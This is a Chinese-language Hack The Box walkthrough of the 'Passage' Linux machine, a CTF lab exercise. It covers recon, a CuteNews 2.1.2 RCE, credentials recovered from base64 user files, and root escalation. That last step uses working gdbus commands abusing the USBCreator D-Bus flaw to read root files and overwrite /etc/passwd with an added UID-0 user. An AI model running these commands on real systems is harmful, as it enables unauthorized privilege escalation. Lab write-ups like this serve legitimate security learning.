【Hack The Box】linux练习-- Passage
创始人
2024-02-21 09:47:08
0

HTB 学习笔记

【Hack The Box】linux练习-- Passage


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月7日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
    • rss
    • 分析
    • 提权
    • navad->root
    • USBCreator
        • 读取
    • 写入

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80

在这里插入图片描述获得以下信息
admin - nadav@passage.htb
Paul Coles - paul@passage.htb
Kim Swift - kim@example.com
Sid Meier - sid@example.com
James - james@example.com
在这里插入图片描述进行了一下目录扫描
直接崩了,有waf

rss

页面右侧rss按钮源码显示xml在这里插入图片描述发现url还显示了一个页面
尝试
去掉rss.php显示登录页面在这里插入图片描述发现左上角标题显示这是个cms
在这里插入图片描述

存在许多漏洞,尝试发现版本信息
我将注册并登陆

存在文件上传
在这里插入图片描述
并且逛着逛着发现
版本2.1.2
在这里插入图片描述没毛病,开始利用rce
在这里插入图片描述随便找一个都能用
这里就不举例了

在这里插入图片描述
去到/home
发现两个用户
nadav
paul

我目前试图寻找其中任何一个用户的密码
我的第一思路是在数据库中获得

在这里插入图片描述
但是当我在他的github中看这个cms的时候,我发现他好像并没有数据库
那我就有点不会了,我先看看别的,作为一个www用户,我要开始下面的进程

分析

作为www用户,我第一步往往是在var内搜索

/var/www/html/CuteNews/cdata/users
发现了很多用户的base64

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现会包含密码,但是不是这个文件
最终获得的凭证为下面的这个,其他的base64解码之后没有任何的密码字段

paul:atlanta1

在这里插入图片描述su paul

提权

我的linpeas提醒我一个漏洞点
在这里插入图片描述
在这里插入图片描述
接着我寻求更稳定的shell
我尝试去拿ssh
在这里插入图片描述
发现署名是nadav
那我估计可以搞到这个用户了
现在把私钥复制粘贴出来
在我给予私钥600权限后,他可以正常使用
在这里插入图片描述
在这里插入图片描述

navad->root

作为一个用户,我将在用户目录下细致的查看,通常使用ls -la
我发现了两个奇怪可疑的东西
viminfo是一个vim的历史日志一类的东西
在这里插入图片描述
在这里插入图片描述提到了
如下两个文件

/etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
/etc/dbus-1/system.d/com.ubuntu.USBCreator.conf

这两个东西,但是我都不具有权限

USBCreator

缺陷
允许有权访问 sudoer 组中用户的攻击者绕过 sudo 程序强加的密码安全策略。 该漏洞允许攻击者以 root 身份覆盖具有任意内容的任意文件,而无需提供密码。 这通常会导致特权提升,例如,通过覆盖影子文件并为 root 设置密码。

读取

利用这个漏洞非常简单。 它需要一个 shell 作为sudo组,如果我有 nadav 的密码,我可能会 sudo su -得到一个壳,但我没有。

我会用这个错误来复制 root.txt到一个不存在的文件,比如 /dev/shm/.0xdf:

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /dev/shm/dashabi truecat /dev/shm/dashabi 

在这里插入图片描述

写入

cp /etc/passwd passwd
openssl passwd -1 rong
echo 'rong:$1$7P/yeC8J$z2eywF.JUPm21Dx0IqVEp.:0:0:pwned:/root:/bin/bash' >> passwd 
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /dev/shm/passwd /etc/passwd true
su rong

在这里插入图片描述

相关内容

热门资讯

《福建省促进两岸标准共通条例》... 中新网福建新闻12月16日电(郑江洛)作为大陆首部两岸标准共通地方性法规,《福建省促进两岸标准共通条...
3女3男被抓,锦州打击一个介绍... 近日,黑山县公安局治安大队广泛搜集涉黄违法犯罪线索,通过大数据深度研判与传统侦查手段结合,民警连续奋...
山东拟修订渔业港口和渔业船舶管... 齐鲁晚报·齐鲁壹点记者 杨璐 为维护渔业生产秩序,保障渔业生产安全,推动海洋渔业高质量发展,山东省农...
财经早知道|住建部部长倪虹:建... 宏观经济 统计局:1-11月,规模以上工业增加值同比增长6.0%;全国固定资产投资(不含农户)444...
“法律噩梦”拉开序幕!俄罗斯向... 据央视新闻报道,俄罗斯央行已在莫斯科提起诉讼,向欧洲清算银行(Euroclear)索赔高达2300亿...
荣誉 | 【赛事捷报】上海博爱... 文 | 王 琰 ★全文字数共有823字 | 预计阅读时间为2分钟★ 为促进律师行业文化建设,展现常...
国家外汇局:稳步扩大外汇领域高... 人民网北京12月16日电 (记者罗知之)据国家外汇管理局网站消息,近日,国家外汇管理局党组传达学习中...
政策赋能强信心 表彰先进促实干 12月10日,克拉玛依区召开促进民营经济高质量发展工作会,贯彻落实党的二十届四中全会精神,学习自治区...
桦甸法院创新机制 高效化解批量... “真没想到,不用一次次跑法院,也不用等待开庭,法院帮我们和银行谈妥了分期还款,还减免了部分罚息,这下...
政策显效 消费潜能持续释放 国际商报记者 魏桥 国家统计局12月15日发布的数据显示,11月份,社会消费品零售总额43898亿元...